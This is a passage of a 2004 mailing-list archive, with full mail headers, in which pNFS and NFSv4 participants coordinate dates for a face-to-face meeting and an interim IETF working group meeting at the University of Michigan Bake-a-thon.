call in Monday AM, even if the schedule didn't change. So maybe Monday AM, is the best bet if you have to decide now. One other possibility to consider is late Sunday afternoon or early evening. People going to the bakeathon would probably be coming Sunday anyway and would just have to arrive a bit earlier for the face-to-face. It seems like this would accommodate what I know of David's schedule, even if the T11 meeting is Monday PM in chicago. Comments on the feasibility of this, anyone? As far as the interim working group meeting there are fewer constraints in that I assume that the attendance of all the pnfs players is not required. We only need a few to bring the message to the v4 developers, and I assume we will certainly have those in any case. To minimize the strain for people not taking part in the bakeathon, I would assume that we would make it in the same half of the week as the face-to-face. So maybe Tuesday if the face-to-face is Monday or even Monday if the face-to-face is Sunday. -----Original Message----- From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] Sent: Friday, April 16, 2004 11:43 AM To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu Subject: Re: [pnfs-reqs] Fwd: logistics status hello we do need to choose a day for both the face-to-face and the interim IETF working group meeting - i need to reserve the appropriate room(s) at the university. i also need an approximate head count. who makes the decision!? -->Andy garth@panasas.com said: > We are planning our next face-to-face for U. Michigan (CITI) during > the week of June 7-11, which is when and where the NFSv4 Bake-a-thon > is being held. Tentative target, not yet confirmed or arranged, is > June 7. This will give us a very good chance to interact with the > broader NFSv4 community. There may be an interim IETF NFSv4 working > group meeting at the same place in the same week (hopefully on the > following day). Yahoo! Groups Links >From ggrider@lanl.gov Fri Apr 16 14:29:00 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 24379 invoked from network); 16 Apr 2004 21:29:00 -0000 Received: from unknown (66.218.66.216) by m22.grp.scd.yahoo.com with QMQP; 16 Apr 2004 21:29:00 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta1.grp.scd.yahoo.com with SMTP; 16 Apr 2004 21:28:59 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3GLSmik029265 for ; Fri, 16 Apr 2004 15:28:48 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3GLSmQ8024396 for ; Fri, 16 Apr 2004 15:28:48 -0600 Received: from cthulu.lanl.gov (vpn-client-138.lanl.gov [128.165.253.138]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3GLSkia005828; Fri, 16 Apr 2004 15:28:47 -0600 Message-Id: <5.2.0.9.2.20040416152807.02d28ca8@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Fri, 16 Apr 2004 15:28:45 -0600 To: pnfs-reqs@yahoogroups.com, In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_1041117==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: RE: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs ADVERTISEMENT I would like to be able to call in if I cant make it in person, so can I request that a conf call in be part of the festivities? Thanks Gary Grider LANL At 09:20 AM 4/16/2004 -0700, Noveck, Dave wrote: > > who makes the decision!? > > I think that's obvious. You do. > > As far as the face-to-face goes, I think what I've heard is that > originally David Black was going to be in Chicago attending > T11 meetings Mon-Wed but that Peter Corbett but could not make > either Thursday or Friday, leaving us in a bind. David then said > that the schedule might have changed and that Monday might be OK, > but I haven't seen any confirmation of that. I think he also said > he could probably call in Monday AM, even if the schedule didn't > change. So maybe Monday AM, is the best bet if you have to decide > now. > > One other possibility to consider is late Sunday afternoon or early > evening. People going to the bakeathon would probably be coming > Sunday anyway and would just have to arrive a bit earlier for the > face-to-face. It seems like this would accommodate what I know of > David's schedule, even if the T11 meeting is Monday PM in chicago. > Comments on the feasibility of this, anyone? > > As far as the interim working group meeting there are fewer constraints > in that I assume that the attendance of all the pnfs players is not > required. We only need a few to bring the message to the v4 developers, > and I assume we will certainly have those in any case. To minimize > the strain for people not taking part in the bakeathon, I would assume > that we would make it in the same half of the week as the face-to-face. > So maybe Tuesday if the face-to-face is Monday or even Monday if the > face-to-face is Sunday. > > -----Original Message----- > From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] > Sent: Friday, April 16, 2004 11:43 AM > To: pnfs-reqs@yahoogroups.com > Cc: andros@citi.umich.edu > Subject: Re: [pnfs-reqs] Fwd: logistics status > > > hello > > we do need to choose a day for both the face-to-face and the interim IETF > working group meeting - i need to reserve the appropriate room(s) at the > university. i also need an approximate head count. who makes the decision!? > > -->Andy > > > garth@panasas.com said: > > We are planning our next face-to-face for U. Michigan (CITI) during > > the week of June 7-11, which is when and where the NFSv4 Bake-a-thon > > is being held. Tentative target, not yet confirmed or arranged, is > > June 7. This will give us a very good chance to interact with the > > broader NFSv4 community. There may be an interim IETF NFSv4 working > > group meeting at the same place in the same week (hopefully on the > > following day). > > > > > > > Yahoo! Groups Links > > > > > > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From black_david@emc.com Sun Apr 18 09:15:50 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 63530 invoked from network); 18 Apr 2004 16:15:49 -0000 Received: from unknown (66.218.66.172) by m20.grp.scd.yahoo.com with QMQP; 18 Apr 2004 16:15:49 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta4.grp.scd.yahoo.com with SMTP; 18 Apr 2004 16:15:49 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Sun, 18 Apr 2004 12:15:48 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Sun, 18 Apr 2004 12:15:47 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: RE: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > As far as the face-to-face goes, I think what I've heard is that > originally David Black was going to be in Chicago attending > T11 meetings Mon-Wed but that Peter Corbett but could not make > either Thursday or Friday, leaving us in a bind. David then said > that the schedule might have changed and that Monday might be OK, > but I haven't seen any confirmation of that. I think he also said > he could probably call in Monday AM, even if the schedule didn't > change. So maybe Monday AM, is the best bet if you have to decide > now. T11 now has the correct info on their web site. I need to attend T11 meetings in Chicago (Central time): Mon (6/7): 1p-6p Tue (6/8): 1p-9p Wed (6/9): 9a-12n, 3p-6p Transportation realities make it impossible to spend half a day in Ann Arbor and the other half of the same day in Chicago, so a Mon or Tue AM pNFS meeting with dial-in looks like the best bet. I could be in Ann Arbor all day Thu or Fri. Thanks, --David >From garth@panasas.com Mon Apr 19 09:30:07 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 69066 invoked from network); 19 Apr 2004 16:30:06 -0000 Received: from unknown (66.218.66.167) by m25.grp.scd.yahoo.com with QMQP; 19 Apr 2004 16:30:06 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 19 Apr 2004 16:30:06 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56LWFG; Mon, 19 Apr 2004 12:29:41 -0400 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Mon, 19 Apr 2004 09:29:39 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday and Friday. What about others? Lets find a day where the largest number can attend in person. Pending the outcome of this poll, Andy & Peter -- who does a Monday pNFS face-to-face meeting look at your end? garth On Apr 18, 2004, at 9:15 AM, black_david@emc.com wrote: >> As far as the face-to-face goes, I think what I've heard is that >> originally David Black was going to be in Chicago attending >> T11 meetings Mon-Wed but that Peter Corbett but could not make >> either Thursday or Friday, leaving us in a bind. David then said >> that the schedule might have changed and that Monday might be OK, >> but I haven't seen any confirmation of that. I think he also said >> he could probably call in Monday AM, even if the schedule didn't >> change. So maybe Monday AM, is the best bet if you have to decide >> now. > > T11 now has the correct info on their web site. I need to attend > T11 meetings in Chicago (Central time): > Mon (6/7): 1p-6p > Tue (6/8): 1p-9p > Wed (6/9): 9a-12n, 3p-6p > Transportation realities make it impossible to spend half a day in > Ann Arbor and the other half of the same day in Chicago, so a Mon or > Tue AM pNFS meeting with dial-in looks like the best bet. I could be > in Ann Arbor all day Thu or Fri. > > Thanks, > --David > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the US & > Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > --------------------------------------------------------------------- > ~-> > > > Yahoo! Groups Links > > > > >From Thomas.Talpey@netapp.com Mon Apr 19 09:43:55 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44753 invoked from network); 19 Apr 2004 16:43:54 -0000 Received: from unknown (66.218.66.172) by m14.grp.scd.yahoo.com with QMQP; 19 Apr 2004 16:43:54 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 19 Apr 2004 16:43:54 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i3JGhfZh005594 for ; Mon, 19 Apr 2004 09:43:42 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i3JGhZNs011106 for ; Mon, 19 Apr 2004 09:43:41 -0700 (PDT) Received: from tmt.netapp.com ([10.97.6.30]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 19 Apr 2004 12:42:28 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C4262D.4CF93200"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Mon, 19 Apr 2004 09:41:46 -0700 Message-ID: <6.1.0.6.2.20040419124044.01e5f640@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Fwd: logistics status Thread-Index: AcQmLU1VkIalZaUGRIqJjO9o9vK7iQ== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Right now, I plan to attend the v4 event Mon-Thurs and cannot attend on Fri. Tom. At 12:29 PM 4/19/2004, Garth Gibson wrote: >I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday >and Friday. > >What about others? Lets find a day where the largest number can attend >in person. > >Pending the outcome of this poll, Andy & Peter -- who does a Monday >pNFS face-to-face meeting look at your end? > >garth > >On Apr 18, 2004, at 9:15 AM, black_david@emc.com wrote: > >>> As far as the face-to-face goes, I think what I've heard is that >>> originally David Black was going to be in Chicago attending >>> T11 meetings Mon-Wed but that Peter Corbett but could not make >>> either Thursday or Friday, leaving us in a bind. David then said >>> that the schedule might have changed and that Monday might be OK, >>> but I haven't seen any confirmation of that. I think he also said >>> he could probably call in Monday AM, even if the schedule didn't >>> change. So maybe Monday AM, is the best bet if you have to decide >>> now. >> >> T11 now has the correct info on their web site. I need to attend >> T11 meetings in Chicago (Central time): >> Mon (6/7): 1p-6p >> Tue (6/8): 1p-9p >> Wed (6/9): 9a-12n, 3p-6p >> Transportation realities make it impossible to spend half a day in >> Ann Arbor and the other half of the same day in Chicago, so a Mon or >> Tue AM pNFS meeting with dial-in looks like the best bet. I could be >> in Ann Arbor all day Thu or Fri. >> >> Thanks, >> --David >> >> >> ------------------------ Yahoo! Groups Sponsor >> ---------------------~--> >> Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark >> Printer at MyInks.com. Free s/h on orders $50 or more to the US & >> Canada. >> http://www.c1tracking.com/l.asp?cid=5511 >> http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM >> --------------------------------------------------------------------- >> ~-> >> >> >> Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From dnoveck@netapp.com Mon Apr 19 10:25:04 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 61496 invoked from network); 19 Apr 2004 17:25:03 -0000 Received: from unknown (66.218.66.216) by m24.grp.scd.yahoo.com with QMQP; 19 Apr 2004 17:25:03 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 19 Apr 2004 17:25:02 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i3JHIVZh014915 for ; Mon, 19 Apr 2004 10:18:31 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i3JHIStS026583 for ; Mon, 19 Apr 2004 10:18:31 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 19 Apr 2004 10:18:10 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Fwd: logistics status Thread-Index: AcQmLIt4OogaRwgIQhCl9cy8A5eDmwABXc+w To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck I'm OK with any day. However, Friday PM is something that I'd like to stay away from as it could complicate my travel plans. -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Monday, April 19, 2004 12:30 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Fwd: logistics status I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday and Friday. What about others? Lets find a day where the largest number can attend in person. Pending the outcome of this poll, Andy & Peter -- who does a Monday pNFS face-to-face meeting look at your end? garth On Apr 18, 2004, at 9:15 AM, black_david@emc.com wrote: >> As far as the face-to-face goes, I think what I've heard is that >> originally David Black was going to be in Chicago attending >> T11 meetings Mon-Wed but that Peter Corbett but could not make >> either Thursday or Friday, leaving us in a bind. David then said >> that the schedule might have changed and that Monday might be OK, >> but I haven't seen any confirmation of that. I think he also said >> he could probably call in Monday AM, even if the schedule didn't >> change. So maybe Monday AM, is the best bet if you have to decide >> now. > > T11 now has the correct info on their web site. I need to attend > T11 meetings in Chicago (Central time): > Mon (6/7): 1p-6p > Tue (6/8): 1p-9p > Wed (6/9): 9a-12n, 3p-6p > Transportation realities make it impossible to spend half a day in > Ann Arbor and the other half of the same day in Chicago, so a Mon or > Tue AM pNFS meeting with dial-in looks like the best bet. I could be > in Ann Arbor all day Thu or Fri. > > Thanks, > --David > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. 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Groups Links >From pcorbett@netapp.com Mon Apr 19 11:22:29 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 25679 invoked from network); 19 Apr 2004 18:22:28 -0000 Received: from unknown (66.218.66.167) by m25.grp.scd.yahoo.com with QMQP; 19 Apr 2004 18:22:28 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 19 Apr 2004 18:22:28 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i3JIMSZh000317 for ; Mon, 19 Apr 2004 11:22:28 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i3JIMCtA023696 for ; Mon, 19 Apr 2004 11:22:27 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 19 Apr 2004 11:22:20 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Fwd: logistics status Thread-Index: AcQmLIzbxmZ+T7b+TeqmvqUm+2STOwADqsKw To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 Monday is fine with me. -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Monday, April 19, 2004 12:30 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Fwd: logistics status I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday and Friday. What about others? Lets find a day where the largest number can attend in person. Pending the outcome of this poll, Andy & Peter -- who does a Monday pNFS face-to-face meeting look at your end? garth On Apr 18, 2004, at 9:15 AM, black_david@emc.com wrote: >> As far as the face-to-face goes, I think what I've heard is that >> originally David Black was going to be in Chicago attending >> T11 meetings Mon-Wed but that Peter Corbett but could not make >> either Thursday or Friday, leaving us in a bind. David then said >> that the schedule might have changed and that Monday might be OK, >> but I haven't seen any confirmation of that. I think he also said >> he could probably call in Monday AM, even if the schedule didn't >> change. So maybe Monday AM, is the best bet if you have to decide >> now. > > T11 now has the correct info on their web site. I need to attend > T11 meetings in Chicago (Central time): > Mon (6/7): 1p-6p > Tue (6/8): 1p-9p > Wed (6/9): 9a-12n, 3p-6p > Transportation realities make it impossible to spend half a day in > Ann Arbor and the other half of the same day in Chicago, so a Mon or > Tue AM pNFS meeting with dial-in looks like the best bet. I could be > in Ann Arbor all day Thu or Fri. > > Thanks, > --David > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the US & > Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > --------------------------------------------------------------------- > ~-> > > > Yahoo! Groups Links > > > > Yahoo! Groups Links >From mclarty3@llnl.gov Mon Apr 19 11:23:15 2004 Return-Path: X-Sender: mclarty3@llnl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 42596 invoked from network); 19 Apr 2004 18:23:14 -0000 Received: from unknown (66.218.66.167) by m18.grp.scd.yahoo.com with QMQP; 19 Apr 2004 18:23:14 -0000 Received: from unknown (HELO smtp-4.llnl.gov) (128.115.41.84) by mta6.grp.scd.yahoo.com with SMTP; 19 Apr 2004 18:23:14 -0000 Received: from poptop.llnl.gov ([127.0.0.1]) by smtp-4.llnl.gov (8.12.3/8.12.3/LLNL evision: 1.14 $) with ESMTP id i3JINDv1026748 for ; Mon, 19 Apr 2004 11:23:13 -0700 (PDT) Received: from POLARBEAR.llnl.gov ([134.9.18.59] verified) by poptop.llnl.gov (CommuniGate Pro SMTP 4.0.6) with ESMTP id 41238041 for pnfs-reqs@yahoogroups.com; Mon, 19 Apr 2004 11:23:12 -0700 Message-Id: <5.0.0.25.2.20040419112120.02f67d60@poptop.llnl.gov> X-Sender: e002801@poptop.llnl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 19 Apr 2004 11:23:12 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-Scanned-By: MIMEDefang 2.39 X-eGroups-Remote-IP: 128.115.41.84 From: Tyce McLarty Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169320772 X-Yahoo-Profile: mclarty3 Any day that week works for Bill Loewe and I from LLNL. Tyce At 09:29 AM 4/19/2004 -0700, you wrote: >I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday >and Friday. > >What about others? Lets find a day where the largest number can attend >in person. > >Pending the outcome of this poll, Andy & Peter -- who does a Monday >pNFS face-to-face meeting look at your end? > >garth > >On Apr 18, 2004, at 9:15 AM, black_david@emc.com wrote: > > >> As far as the face-to-face goes, I think what I've heard is that > >> originally David Black was going to be in Chicago attending > >> T11 meetings Mon-Wed but that Peter Corbett but could not make > >> either Thursday or Friday, leaving us in a bind. David then said > >> that the schedule might have changed and that Monday might be OK, > >> but I haven't seen any confirmation of that. I think he also said > >> he could probably call in Monday AM, even if the schedule didn't > >> change. So maybe Monday AM, is the best bet if you have to decide > >> now. > > > > T11 now has the correct info on their web site. I need to attend > > T11 meetings in Chicago (Central time): > > Mon (6/7): 1p-6p > > Tue (6/8): 1p-9p > > Wed (6/9): 9a-12n, 3p-6p > > Transportation realities make it impossible to spend half a day in > > Ann Arbor and the other half of the same day in Chicago, so a Mon or > > Tue AM pNFS meeting with dial-in looks like the best bet. I could be > > in Ann Arbor all day Thu or Fri. > > > > Thanks, > > --David > > > > > > ------------------------ Yahoo! Groups Sponsor > > ---------------------~--> > > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > > Printer at MyInks.com. Free s/h on orders $50 or more to the US & > > Canada. > > http://www.c1tracking.com/l.asp?cid=5511 > > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > > --------------------------------------------------------------------- > > ~-> > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > >Yahoo! Groups Links > > > > >From andros@citi.umich.edu Mon Apr 19 13:17:08 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 27216 invoked from network); 19 Apr 2004 20:17:07 -0000 Received: from unknown (66.218.66.172) by m13.grp.scd.yahoo.com with QMQP; 19 Apr 2004 20:17:07 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta4.grp.scd.yahoo.com with SMTP; 19 Apr 2004 20:17:07 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 02CB0207F1; Mon, 19 Apr 2004 16:15:37 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Mon, 19 Apr 2004 10:18:10 PDT."" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 19 Apr 2004 16:15:36 -0400 Message-Id: <20040419201537.02CB0207F1@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169434965 monday is spent setting up the bakeathon. i think it would be best if we had the pNFS meeting on tuesday june 8th, with the interim IETF meeting on wednesday. i propose tuesday. -->Andy garth@panasas.com said: > I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday > and Friday. > What about others? Lets find a day where the largest number can > attend in person. > Pending the outcome of this poll, Andy & Peter -- who does a Monday > pNFS face-to-face meeting look at your end? > garth >From spencer.shepler@sun.com Mon Apr 19 14:14:43 2004 Return-Path: X-Sender: spencer.shepler@sun.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 45912 invoked from network); 19 Apr 2004 21:14:42 -0000 Received: from unknown (66.218.66.167) by m21.grp.scd.yahoo.com with QMQP; 19 Apr 2004 21:14:42 -0000 Received: from unknown (HELO nwkea-mail-2.sun.com) (192.18.42.14) by mta6.grp.scd.yahoo.com with SMTP; 19 Apr 2004 21:14:42 -0000 Received: from engmail1mpk.Eng.Sun.COM ([129.146.11.21]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id i3JLEghO022846 for ; Mon, 19 Apr 2004 14:14:42 -0700 (PDT) Received: from [129.153.128.28] (this.Central.Sun.COM [129.153.128.28]) by engmail1mpk.Eng.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id i3JLEfjW014250 for ; Mon, 19 Apr 2004 14:14:42 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v613) In-Reply-To: <20040419201537.02CB0207F1@citi.umich.edu> References: <20040419201537.02CB0207F1@citi.umich.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Mon, 19 Apr 2004 16:17:36 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.613) X-eGroups-Remote-IP: 192.18.42.14 From: Spencer Shepler Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=129247794 X-Yahoo-Profile: s_shepler ADVERTISEMENT this is fine with me with respect to the IETF interim meeting On Apr 19, 2004, at 3:15 PM, William A.(Andy) Adamson wrote: > monday is spent setting up the bakeathon. i think it would be best if > we had > the pNFS meeting on tuesday june 8th, with the interim IETF meeting on > wednesday. > > i propose tuesday. > > -->Andy > > > > garth@panasas.com said: >> I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday >> and Friday. > >> What about others? Lets find a day where the largest number can >> attend in person. > >> Pending the outcome of this poll, Andy & Peter -- who does a Monday >> pNFS face-to-face meeting look at your end? > >> garth > > > > > > > Yahoo! Groups Links > > > > > >From bwelch@panasas.com Mon Apr 19 18:40:20 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 94824 invoked from network); 20 Apr 2004 01:40:19 -0000 Received: from unknown (66.218.66.167) by m15.grp.scd.yahoo.com with QMQP; 20 Apr 2004 01:40:19 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta6.grp.scd.yahoo.com with SMTP; 20 Apr 2004 01:40:19 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i3K1eI927227 for ; Mon, 19 Apr 2004 18:40:18 -0700 Message-Id: <200404200140.i3K1eI927227@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.4 04/07/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com In-reply-to: References: Comments: In-reply-to Garth Gibson message dated ""Mon, 19 Apr 2004 09:29:39 -0700."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 Any day is OK with me. >>>Garth Gibson said: > I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday > and Friday. > > What about others? Lets find a day where the largest number can attend > in person. > > Pending the outcome of this poll, Andy & Peter -- who does a Monday > pNFS face-to-face meeting look at your end? > > garth > > On Apr 18, 2004, at 9:15 AM, black_david@emc.com wrote: > > >> As far as the face-to-face goes, I think what I've heard is that > >> originally David Black was going to be in Chicago attending > >> T11 meetings Mon-Wed but that Peter Corbett but could not make > >> either Thursday or Friday, leaving us in a bind. David then said > >> that the schedule might have changed and that Monday might be OK, > >> but I haven't seen any confirmation of that. I think he also said > >> he could probably call in Monday AM, even if the schedule didn't > >> change. So maybe Monday AM, is the best bet if you have to decide > >> now. > > > > T11 now has the correct info on their web site. I need to attend > > T11 meetings in Chicago (Central time): > > Mon (6/7): 1p-6p > > Tue (6/8): 1p-9p > > Wed (6/9): 9a-12n, 3p-6p > > Transportation realities make it impossible to spend half a day in > > Ann Arbor and the other half of the same day in Chicago, so a Mon or > > Tue AM pNFS meeting with dial-in looks like the best bet. I could be > > in Ann Arbor all day Thu or Fri. > > > > Thanks, > > --David > > > > > > ------------------------ Yahoo! Groups Sponsor > > ---------------------~--> > > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > > Printer at MyInks.com. Free s/h on orders $50 or more to the US & > > Canada. > > http://www.c1tracking.com/l.asp?cid=5511 > > 